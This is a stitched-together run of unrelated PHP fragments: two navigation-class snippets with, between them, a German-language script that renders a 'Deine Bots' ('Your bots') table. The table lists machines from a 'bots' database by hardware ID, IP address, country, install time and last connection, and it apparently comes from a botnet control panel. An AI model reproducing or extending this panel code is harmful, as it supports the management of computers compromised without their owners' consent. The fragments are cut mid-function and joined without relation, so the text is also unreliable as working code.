public function getPageNavigation($all, $limit, $start, $link_limit) { include_once "inc/classes/page_navigation.class.php"; $pageNav = new PageNavigation(); $navigation = $pageNav->getLinks($all, $limit, $start, $link_limit, Route::$routes); return $navigation; }
$time_now = date('Y-m-d H:i:s'); echo '<h3>Deine Bots</h3> <table> <tr> <th>ID</th> <th>Land</th> <th>Name@HWID@IP Adresse</th> <th>Installiert</th> <th>Letzte Verbindung</th> <th>Status</th> </tr>'; $query1 = mysql_query("SELECT COUNT(*) FROM bots"); $item_count = mysql_result($query1, 0); $nav = new PageNavigation($item_count, 50); $query1 = mysql_query("SELECT * FROM bots ORDER BY id ASC LIMIT ".safe_sql($nav->sql_limit)); $item_number = $nav->first_item_id; //$query1 = mysql_query("SELECT * FROM bots"); while($row = mysql_fetch_array($query1)){ $hwid = safe_xss($row['hwid']); $status = safe_xss($row['status']); echo '<tr> <td style="">'.safe_xss($row['id']).'</td>'; if(empty($row['country'])){ echo '<td style=""><img src="img/flags/00.gif" /></td>'; }else{ echo '<td style=""><img src="img/flags/'.safe_xss($row['country']).'.gif" /> '.$options[strtoupper(safe_xss($row['country']))].'</td>'; }
/** * @param string $id Navigation identity like "nav-cars". */ public function __construct($id) { parent::__construct($id); $this->initFromUri(); }